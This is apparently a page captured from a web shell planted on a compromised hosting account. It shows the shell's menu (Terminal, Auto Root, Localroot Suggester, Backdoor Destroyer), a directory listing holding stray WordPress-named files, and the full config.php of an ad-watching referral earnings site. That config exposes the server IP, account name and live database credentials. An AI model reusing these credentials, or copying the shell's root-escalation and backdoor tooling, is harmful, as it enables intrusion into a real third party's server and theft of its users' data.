Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
public_html /
includes /
Delete
Unzip
Name
Size
Permission
Date
Action
ReferralHelper.php
3.02
KB
-rw-r--r--
2025-12-29 15:34
config.php
11.61
KB
-rw-r--r--
2026-01-26 17:58
error_log
730
B
-rw-r--r--
2026-04-18 16:05
public_footer.php
3.96
KB
-rw-r--r--
2026-01-07 21:35
public_header.php
9.55
KB
-rw-r--r--
2026-01-07 21:36
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php // PHP settings to allow larger uploads @ini_set('upload_max_filesize', '50M'); @ini_set('post_max_size', '55M'); @ini_set('memory_limit', '128M'); @ini_set('max_execution_time', '300'); @ini_set('max_input_time', '300'); // Set Timezone to Pakistan date_default_timezone_set('Asia/Karachi'); // Database Configuration define('DB_HOST', 'localhost'); define('DB_USER', 'fastear1_tufitok2'); define('DB_PASS', 'fastear1_tufitok2'); define('DB_NAME', 'fastear1_tufitok2'); // Site Configuration $protocol = 'http'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') { $protocol = 'https'; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' || !empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on') { $protocol = 'https'; } $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $scriptName = $_SERVER['SCRIPT_NAME']; $projectRoot = dirname($scriptName); // If we are currently in a subdirectory (user, admin, includes), move up to root $currentDir = basename($projectRoot); if ($currentDir == 'user' || $currentDir == 'admin' || $currentDir == 'includes') { $projectRoot = dirname($projectRoot); } $projectRoot = rtrim(str_replace('\\', '/', $projectRoot), '/'); define('SITE_URL', $protocol . "://" . $host . $projectRoot); define('ADMIN_EMAIL', 'admin@fastearn.com'); // Session Configuration if (session_status() === PHP_SESSION_NONE) { ini_set('session.cookie_httponly', 1); ini_set('session.cookie_path', '/'); // Only set secure cookie if on https if ($protocol === 'https') { ini_set('session.cookie_secure', 1); } session_start(); } // Include Referral Helper require_once __DIR__ . '/ReferralHelper.php'; // Database Connection try { $pdo = new PDO( "mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=utf8mb4", DB_USER, DB_PASS, [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_INIT_COMMAND => "SET time_zone = '+05:00'" ] ); } catch (PDOException $e) { die("Database connection failed: " . $e->getMessage()); } // Get Settings from Database function getSetting($key, $default = '') { global $pdo; try { $stmt = $pdo->prepare("SELECT setting_value FROM settings WHERE setting_key = ?"); $stmt->execute([$key]); $result = $stmt->fetch(); return $result ? $result['setting_value'] : $default; } catch (PDOException $e) { return $default; } } // Update Setting (Handles both Insert and Update) function updateSetting($key, $value) { global $pdo; try { $stmt = $pdo->prepare("SELECT id FROM settings WHERE setting_key = ?"); $stmt->execute([$key]); if ($stmt->fetch()) { $stmt = $pdo->prepare("UPDATE settings SET setting_value = ? WHERE setting_key = ?"); return $stmt->execute([$value, $key]); } else { $stmt = $pdo->prepare("INSERT INTO settings (setting_key, setting_value) VALUES (?, ?)"); return $stmt->execute([$key, $value]); } } catch (PDOException $e) { return false; } } // Check if user is logged in function isLoggedIn() { return isset($_SESSION['user_id']); } // Check if user is admin function isAdmin() { return isset($_SESSION['user_id']) && isset($_SESSION['role']) && $_SESSION['role'] === 'admin'; } // Redirect if not logged in function requireLogin() { if (!isLoggedIn()) { header('Location: ' . SITE_URL . '/login.php'); exit; } } // Redirect if not admin function requireAdmin() { if (!isAdmin()) { header('Location: ' . SITE_URL . '/login.php'); exit; } } // Format currency function formatCurrency($amount) { $symbol = getSetting('currency_symbol', '$'); return $symbol . number_format($amount, 3); } // Get user data function getUserData($userId) { global $pdo; $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$userId]); return $stmt->fetch(); } // Calculate ads earning based on referrals and days since plan started function calculateAdsEarning($userId) { global $pdo; // Get user data $user = getUserData($userId); if (!$user) return 0; // Get active plan $activePlan = getActivePlan($userId); if (!$activePlan) return (float) getSetting('ads_earning_base', 0.0004); // Default to base if no plan (though restricted elsewhere) // Get Global settings $globalBase = (float) getSetting('ads_earning_base', 0.0004); $globalDailyIncrease = (float) getSetting('ads_earning_daily_increase', 0.0001); $globalMaxEarning = (float) getSetting('ads_earning_max', 0.0020); // Override with Plan-specific settings if available $baseEarning = (isset($activePlan['ads_earning_base']) && (float) $activePlan['ads_earning_base'] > 0) ? (float) $activePlan['ads_earning_base'] : $globalBase; $planDailyIncrease = (isset($activePlan['ads_earning_daily_increase']) && (float) $activePlan['ads_earning_daily_increase'] > 0) ? (float) $activePlan['ads_earning_daily_increase'] : $globalDailyIncrease; $maxEarning = (isset($activePlan['ads_earning_max']) && (float) $activePlan['ads_earning_max'] > 0) ? (float) $activePlan['ads_earning_max'] : $globalMaxEarning; // Calculate days since plan started (or since reset) $startDateStr = $activePlan['start_date']; $daysCounted = 0; if ($startDateStr) { $basisDate = new DateTime($startDateStr); // If admin has reset the boost earning, use that date for growth calculation if (!empty($user['reset_boost_date'])) { $resetDate = new DateTime($user['reset_boost_date']); if ($resetDate > $basisDate) { $basisDate = $resetDate; } } $today = new DateTime(date('Y-m-d')); if ($today >= $basisDate) { $interval = $basisDate->diff($today); $daysCounted = (int) $interval->format('%a'); } } // 1. Calculate base earning with plan/global daily increase $earning = $baseEarning + ($daysCounted * $planDailyIncrease); // 2. Cap base growth at plan/site maximum $earning = min($earning, $maxEarning); // 3. Apply referral boost $referralCount = (int) $user['referral_count']; $bestBoostAmount = 0; $boostDailyIncrease = $planDailyIncrease; try { // Only use plan-specific boosts $stmt = $pdo->prepare("SELECT required_referrals, earning_amount, daily_increment FROM plan_boosts WHERE plan_id = ? ORDER BY required_referrals ASC"); $stmt->execute([$activePlan['plan_id']]); $referralBoosts = $stmt->fetchAll(); foreach ($referralBoosts as $boost) { if ($referralCount >= (int) $boost['required_referrals']) { $bestBoostAmount = (float) $boost['earning_amount']; // Use custom boost increment if available and set if (isset($boost['daily_increment']) && (float) $boost['daily_increment'] > 0) { $boostDailyIncrease = (float) $boost['daily_increment']; } } } if ($bestBoostAmount > 0) { // Apply boost amount + its specific daily growth $earning = $bestBoostAmount + ($daysCounted * $boostDailyIncrease); } // 4. Final Cap (Respect site maximum, but allow boost to be higher as its own floor) $finalMax = max($maxEarning, $bestBoostAmount); $earning = min($earning, $finalMax); } catch (PDOException $e) { // Fallback or ignore if table is missing } return $earning; } // Check if user has an active plan function hasActivePlan($userId) { global $pdo; $stmt = $pdo->prepare(" SELECT up.id FROM user_plans up JOIN plans p ON up.plan_id = p.id WHERE up.user_id = ? AND up.status = 'active' AND (up.end_date >= CURDATE() OR p.plan_duration = 0) ORDER BY up.end_date DESC LIMIT 1 "); $stmt->execute([$userId]); return $stmt->fetch() ? true : false; } // Get user's active plan details function getActivePlan($userId) { global $pdo; $stmt = $pdo->prepare(" SELECT up.*, p.plan_name, p.plan_price, p.ads_limit_per_day, p.plan_duration, p.upto_level, p.ads_earning_base, p.ads_earning_daily_increase, p.ads_earning_max FROM user_plans up JOIN plans p ON up.plan_id = p.id WHERE up.user_id = ? AND up.status = 'active' AND (up.end_date >= CURDATE() OR p.plan_duration = 0) ORDER BY up.end_date DESC LIMIT 1 "); $stmt->execute([$userId]); return $stmt->fetch(); } // Check if user can watch ads (Has active plan AND earning is not stopped) function canWatchAds($userId) { $user = getUserData($userId); if (!$user || !$user['ads_earning_active']) { return false; } return hasActivePlan($userId); } // Get today's watched ads count function getTodayWatchedAdsCount($userId) { global $pdo; $stmt = $pdo->prepare(" SELECT COUNT(*) as count FROM user_ads WHERE user_id = ? AND watched_date = CURDATE() "); $stmt->execute([$userId]); $result = $stmt->fetch(); return $result['count']; } // Get user's daily ads limit function getUserDailyAdsLimit($userId) { global $pdo; $stmt = $pdo->prepare(" SELECT p.ads_limit_per_day FROM user_plans up JOIN plans p ON up.plan_id = p.id WHERE up.user_id = ? AND up.status = 'active' AND (up.end_date >= CURDATE() OR p.plan_duration = 0) ORDER BY up.end_date DESC, up.start_date DESC LIMIT 1 "); $stmt->execute([$userId]); $result = $stmt->fetch(); return $result ? $result['ads_limit_per_day'] : 0; } // Generate unique D-Pin function generateDPin() { return strtoupper(substr(md5(uniqid(rand(), true)), 0, 12)); } // Success message function setSuccess($message) { $_SESSION['success_message'] = $message; } // Error message function setError($message) { $_SESSION['error_message'] = $message; } // Get and clear success message function getSuccess() { if (isset($_SESSION['success_message'])) { $message = $_SESSION['success_message']; unset($_SESSION['success_message']); return $message; } return null; } // Get and clear error message function getError() { if (isset($_SESSION['error_message'])) { $message = $_SESSION['error_message']; unset($_SESSION['error_message']); return $message; } return null; } // Convert YouTube URL to Embed URL function getEmbedUrl($url) { // Handle youtube.com/watch?v=VIDEO_ID if (preg_match('/(?:youtube\.com\/(?:[^\/]+\/.+\/|(?:v|e(?:mbed)?)\/|.*[?&]v=)|youtu\.be\/)([^"&?\/\s]{11})/i', $url, $match)) { return "https://www.youtube.com/embed/" . $match[1] . "?autoplay=1&mute=1"; } return $url; } // Generate Random Alphanumeric Code (Default 7 chars) function generateRandomCode($length = 7) { $chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $code = ""; for ($i = 0; $i < $length; $i++) { $code .= $chars[rand(0, strlen($chars) - 1)]; } return $code; }